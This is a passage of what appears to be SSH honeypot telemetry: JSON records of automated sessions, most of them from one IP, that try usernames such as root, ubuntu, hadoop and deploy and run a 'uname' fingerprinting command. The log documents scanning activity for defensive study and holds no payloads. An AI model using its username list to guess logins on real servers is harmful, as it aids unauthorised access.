  "src_ip": "91.92.40.217",
  "src_port": 33244,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:35.638683+00:00",
  "ended_at": "2026-08-27T03:08:40.948667+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f02ca5b5-07cd-4458-be31-0df841fb7bc4",
  "name": "quartz-thrifty-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46118,
  "username": "almalinux",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:34.735067+00:00",
  "ended_at": "2026-08-27T03:08:42.397144+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "e459aab7-715e-4c52-b6dd-107de585f86b",
  "name": "primal-mindful-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33190,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:27.564637+00:00",
  "ended_at": "2026-08-27T03:08:33.595280+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "58718ad6-4ab5-4ee7-9466-258cd9502132",
  "name": "sullen-mindful-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57282,
  "username": "drcomadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:08:23.847720+00:00",
  "ended_at": "2026-08-27T03:08:27.584364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d6b24936-2d79-42ae-8af9-b5ab002599ae",
  "name": "courtly-brave-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46122,
  "username": "drcomadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:17.231218+00:00",
  "ended_at": "2026-08-27T03:08:27.581999+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1666
 },
 {
  "id": "4bce6f4b-47d9-46df-a9b2-b845e8e44343",
  "name": "ruddy-wry-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:14.744791+00:00",
  "ended_at": "2026-08-27T03:08:20.505791+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a91b7c18-2dcf-4d20-a45d-dee66bfa721a",
  "name": "candid-fabled-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56272,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:08:05.075417+00:00",
  "ended_at": "2026-08-27T03:08:08.371406+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "20d9b2fa-0b3d-4b95-912e-fff636656b14",
  "name": "frosty-gleaming-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56218,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:58.895828+00:00",
  "ended_at": "2026-08-27T03:08:03.896453+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "205f287d-5e1f-47be-be0d-4117fc39faeb",
  "name": "alpine-hazy-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33958,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:54.799600+00:00",
  "ended_at": "2026-08-27T03:08:00.379402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "83036a95-cc21-4998-9943-79d781f8cf17",
  "name": "bitter-mellow-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33882,
  "username": "webuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:47.653735+00:00",
  "ended_at": "2026-08-27T03:07:50.939413+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f7a2c39-139e-45a1-b693-7aeafc13bfd0",
  "name": "mindful-sleepy-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33268,
  "username": "tempuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:07:43.621431+00:00",
  "ended_at": "2026-08-27T03:07:45.372000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c60626b-aea4-4bc8-9bb9-5c44fda2f193",
  "name": "chilly-shaded-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50546,
  "username": "tempuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:40.436587+00:00",
  "ended_at": "2026-08-27T03:07:45.372815+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "c8606171-d2d2-4be7-b589-056664412404",
  "name": "smooth-hazel-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33204,
  "username": "hummingbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:07:38.738123+00:00",
  "ended_at": "2026-08-27T03:07:41.258487+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac934ecd-c44a-4527-b6bc-a6f1dcdc6257",
  "name": "jaunty-faded-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:35.296876+00:00",
  "ended_at": "2026-08-27T03:07:39.464259+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76e32eb3-b85a-4082-970b-1d0369a3da5c",
  "name": "bashful-graceful-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50496,
  "username": "hummingbot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:33.254817+00:00",
  "ended_at": "2026-08-27T03:07:41.259503+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "9ae7200d-fc8b-427a-b99a-70c1a07a768e",
  "name": "wistful-vernal-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:24.345241+00:00",
  "ended_at": "2026-08-27T03:07:29.983224+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "978d1ddc-3f49-4c34-bf04-4238fc7a9f9f",
  "name": "amiable-brave-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34812,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:15.844849+00:00",
  "ended_at": "2026-08-27T03:07:20.928353+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d6e51030-8ca9-4d7c-a471-5cb977588f25",
  "name": "orderly-sooty-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 56292,
  "username": "vbox",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:07:13.172611+00:00",
  "ended_at": "2026-08-27T03:07:15.232063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "854a063b-9078-4913-9676-d539ea7ce5f2",
  "name": "glacial-plucky-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57518,
  "username": "worker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:10.147123+00:00",
  "ended_at": "2026-08-27T03:07:15.168743+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "190ce66b-85a1-4954-b95a-51a6e35f4a28",
  "name": "ginger-thawing-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53138,
  "username": "vbox",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:10.125448+00:00",
  "ended_at": "2026-08-27T03:07:15.230771+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "9ba3155a-5a82-4125-82c8-0dce34741b45",
  "name": "quartz-sleepy-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 51056,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:07:06.003796+00:00",
  "ended_at": "2026-08-27T03:07:37.524212+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8dcea0dd-e88c-4267-ad6a-372dd770a409",
  "name": "umber-frosty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53190,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:07:00.621794+00:00",
  "ended_at": "2026-08-27T03:07:05.715719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5364761f-9471-4b55-a67f-6fe71ae6c813",
  "name": "blithe-placid-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57474,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:59.964264+00:00",
  "ended_at": "2026-08-27T03:07:02.796397+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "02a51130-2ade-4b85-9131-3953b1925a45",
  "name": "lively-civil-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47576,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:46.128454+00:00",
  "ended_at": "2026-08-27T03:06:51.331128+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db090501-336c-46c9-a14c-2d8eea5d258a",
  "name": "frugal-serene-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47544,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:45.424587+00:00",
  "ended_at": "2026-08-27T03:06:49.987682+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5bf18bb-685d-4912-8bf4-efd440dcb2e5",
  "name": "sturdy-smooth-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 50508,
  "username": "fahmi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:06:39.083851+00:00",
  "ended_at": "2026-08-27T03:06:40.698768+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3fc33666-18ed-4f8a-88ef-8b0eb2812f30",
  "name": "mellow-genial-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41290,
  "username": "fahmi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 180,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:33.138039+00:00",
  "ended_at": "2026-08-27T03:06:40.700034+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "8862977c-05d2-4335-8885-88263329a75e",
  "name": "brave-northern-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:31.674781+00:00",
  "ended_at": "2026-08-27T03:06:35.366913+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4ead68ce-bea6-4a65-ab53-54ac4f28a5d6",
  "name": "inland-dapper-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53110,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:30.732574+00:00",
  "ended_at": "2026-08-27T03:06:35.267818+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1783f83e-f82a-48f4-9a45-1f23cb248e1e",
  "name": "verdant-tranquil-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53078,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:30.523471+00:00",
  "ended_at": "2026-08-27T03:06:35.861006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3d600129-8f6f-4344-966f-c72c55edcde8",
  "name": "rambling-humble-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41218,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:15.430020+00:00",
  "ended_at": "2026-08-27T03:06:20.842405+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8ec169b2-4bcf-43d9-a214-cac6c390b461",
  "name": "frank-downy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34404,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:10.178700+00:00",
  "ended_at": "2026-08-27T03:06:15.190156+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9c7e771b-bd0f-4857-b10c-31d107c82ed3",
  "name": "supple-russet-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:06:08.632875+00:00",
  "ended_at": "2026-08-27T03:06:13.416132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3e8665aa-5d1d-48f6-8802-284fe050ab44",
  "name": "regal-languid-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:59.144174+00:00",
  "ended_at": "2026-08-27T03:06:02.658050+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c10d4f2f-11db-41e2-af8c-9906e0b5ce63",
  "name": "feral-cosmic-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51178,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:52.334433+00:00",
  "ended_at": "2026-08-27T03:05:55.684092+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ee1924a3-0127-4237-8fc7-ad5878f4242e",
  "name": "sandy-regal-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:41.839178+00:00",
  "ended_at": "2026-08-27T03:05:45.300661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2199f60f-e5bc-4714-af89-141bdd6ac9f2",
  "name": "proud-misty-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:40.763763+00:00",
  "ended_at": "2026-08-27T03:05:46.560001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7db800d0-167a-47dd-8d3c-18a499398c8c",
  "name": "crimson-crisp-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36586,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 428,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:30.234521+00:00",
  "ended_at": "2026-08-27T03:05:34.065720+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ee2e75ff-115e-42da-a532-9cc96ed04f32",
  "name": "balmy-patient-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 34514,
  "username": "calvin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:05:23.027811+00:00",
  "ended_at": "2026-08-27T03:05:25.942079+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7067abbf-8d31-471e-bfc9-7c6664066656",
  "name": "lunar-rustic-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:20.287140+00:00",
  "ended_at": "2026-08-27T03:05:25.749272+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "16145ddd-4872-4c4c-89df-de6151d0d6c7",
  "name": "crystal-autumn-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39134,
  "username": "calvin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:18.632195+00:00",
  "ended_at": "2026-08-27T03:05:25.943226+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "bc611f47-f7ae-4b1f-86f1-b6691c6903af",
  "name": "ashen-distant-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:15.088587+00:00",
  "ended_at": "2026-08-27T03:05:20.352645+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4a5afebf-e991-4a76-93ac-472e5aeab442",
  "name": "plucky-jaunty-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 54794,
  "username": "niaoyun",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:05:10.855692+00:00",
  "ended_at": "2026-08-27T03:05:14.730710+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "87910df0-afc0-43d9-a1c9-122af4512651",
  "name": "hollow-western-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56504,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:05.544875+00:00",
  "ended_at": "2026-08-27T03:05:10.508578+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "436cb19a-b7bb-494c-80d4-aca4f59b88f9",
  "name": "eager-blunt-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39068,
  "username": "niaoyun",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 269,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:04.446948+00:00",
  "ended_at": "2026-08-27T03:05:14.732317+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "62018c23-e7d1-4f86-ad8d-ff30ab0cdb74",
  "name": "glassy-western-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 51222,
  "username": "erpnext",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:05:03.864720+00:00",
  "ended_at": "2026-08-27T03:05:05.692054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbdf8f2a-8cb8-48f7-b3fb-5e3f1cfaa58e",
  "name": "smoky-scarlet-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56436,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 309,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:05:03.546199+00:00",
  "ended_at": "2026-08-27T03:05:09.476661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2d46daf-4cfb-44fc-b004-ba9c43a685ad",
  "name": "honest-brave-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34940,
  "username": "erpnext",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:56.533515+00:00",
  "ended_at": "2026-08-27T03:05:05.691245+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "39889bea-0fbe-4f76-b9d4-3de7c0c3a4e7",
  "name": "faded-zealous-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 59720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T03:04:51.905180+00:00",
  "ended_at": "2026-08-27T03:04:57.909182+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4f3cf2cd-632e-49e4-846b-b150b50fa705",
  "name": "sandy-buoyant-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 36552,
  "username": "recorder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T03:04:37.779349+00:00",
  "ended_at": "2026-08-27T03:04:40.959064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae6ceffe-03bb-4cc6-ac62-4abc64f92eaf",
  "name": "ancient-serene-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34882,
